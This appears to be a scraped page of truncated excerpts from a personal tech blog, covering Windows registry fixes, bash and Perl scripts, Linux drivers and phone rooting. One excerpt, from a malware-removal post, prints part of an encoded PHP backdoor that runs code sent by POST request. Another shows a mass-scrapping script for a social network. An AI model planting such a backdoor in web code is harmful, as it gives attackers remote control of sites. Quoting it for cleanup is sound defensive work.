http://digitalpbk.com/laptop/restore-power-plan-missing-saver-high-performance-balanced-windows-7
\SYSTEM\CurrentControlSet\Control\Power\User\PowerSchemes
and
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes
Windows use the former to display the power plan options in control panel.
So if something is corrupted in the registry
entry, you can restore it from the later registry
entry.
This can be easily achieved by exporting HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Power\User\Default\PowerSchemes to a .reg file, Search and replace all /Default/ with / and then import the same back into the registry ...
Published 2 years, 1 month ago
http://digitalpbk.blogspot.com/2008/05/bash-mp3-player-mpg123-sed-playlist.html
"$filename"fidoneecho "OveR"; #doesnt reach
Updates+ Added multiple search and concatenation+ Queue more than one mp3v1.1Source#!/bin/bash# v 1.1if [ ! -e mp3list.txt ]; then echo "Listing all mp3 on your / " find / -name *.mp3 > mp3list.txtfi`cat mp3list.txt | grep -i $1 > tpl.tmp`sed = tpl.tmp | sed 'N;s/\n/\t/;s/\/.*\///g;s/.mp3//' | more # number lines and strip of directories and extensions.max=`wc -l tpl.tmp | cut -d" " -f1`if [ ! "$max" -eq 0 ...
Published 3 years, 11 months ago
http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html
0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>The code adds scripts to your code likeand executes codes coming via POST requests.Removal Backup your web directory, just in case something gets messed up.The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with file.infected and removes code from the file and
updates your file to remove the code ...
Published 2 years, 7 months ago
http://digitalpbk.blogspot.com/2008/06/free-dataone-account-usage-checker-perl.html
=> "cookie.jar",autosave=>1);$mech=WWW::Mechanize->new(cookie_jar=>$cj);print "GET $url\n" if($verbose);$mech->get($url);exit unless($mech->success());my $cnt = $mech->response->as_string;$cnt =~
s[action="../(.*?)"][action="$1"]is;$mech->update_html($cnt);$mech->form_number(1);$mech->field("username",$username);$mech->field("password",$password);print "LOGIN\n" if($verbose);$mech->submit();exit unless($mech->success());$cnt = $mech->response->as_string;$|=1;my $uri;my $maxre ...
Published 3 years, 10 months ago
http://digitalpbk.com/ubuntu/install-wireless-wifi-drivers-linux-karmic-9.1-sony-vaio-cw
sudo apt-get
update
sudo apt-get install linux-backports-modules-karmic
Restart your computer and wireless should work.
:)
lspci Output of Sony Vaio CW
00:00.0 Host bridge: Intel Corporation Arrandale DRAM Controller (rev 02)
00:01.0 PCI bridge: Intel Corporation Arrandale PCI Express x16 Root Port (rev 02)
00:1a.0 USB Controller: Intel Corporation 5 Series/3400 Series Chipset USB2 Enhanced Host Controller (rev 05)
00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High ...
Published 2 years, 1 month ago
http://digitalpbk.blogspot.com/2006/11/network-traffic-calculator-using-vc-6.html
,NULL,hInstance,NULL); HWND hwndTxtOut=CreateWindow("EDIT","Usage Stats loading....",WS_CHILD|WS_VISIBLE,0,0,240,20,hwnd,NULL,hInstance ,NULL); txtW = hwndTxtOut; gSokt = ConnectSock(localaddr[0],7000,hwnd); ShowWindow(hwnd,nCmdShow);
UpdateWindow( hwnd ); /*Window Procedure Loop while(GetMessage(&msg;,NULL,0,0)) { TranslateMessage(&msg;); DispatchMessage(&msg;); } return msg.wParam;}void processData(char data[]){ IP_HEADER iphead; memcpy(&iphead;,data,sizeof(iphead)); //gets ...
Published 5 years, 5 months ago
http://digitalpbk.com/nexus-s/how-to-root-nexus-s-windows
on the phone and boot into the bootloader screen.
Open the device manager (My Computer > Right Click > Manage > Device Manager). You should see in Other Devices Android 1.0
On the computer, you should see a device installing. If the driver installation failed (likely to), you need to install the drivers as shown below:
Click on
update driver, and manually point to the drivers directory in our downloaded folder. Windows should automatically install the drivers, Press yes ...
Published 6 months, 1 week ago
http://digitalpbk.blogspot.com/2007/06/orkut-mass-scrapper-scrap-all-friends.html
($cnt !~ m/id='liframe'.*?src='(.*)'/) { printf("%10s",$prc[1]); print " Login page URL Not Found!\nTry Again OR
Update the script! ".$prc[0]; return; } print $prc[2]; $url = $1; $j=3;REDO: for($i=3;$i>=0;$i--) { printf("%-60.59s","GET $url"); $mech->get($url); last if($mech->success()); printf("%10s",$prc[1]); print " Retry (",$i,")".$prc[0] if($i); } return if($i print $prc[2]; $cnt = $mech->response->as_string; $cnt =~ s/\n|\s+/ /g ...
Published 4 years, 11 months ago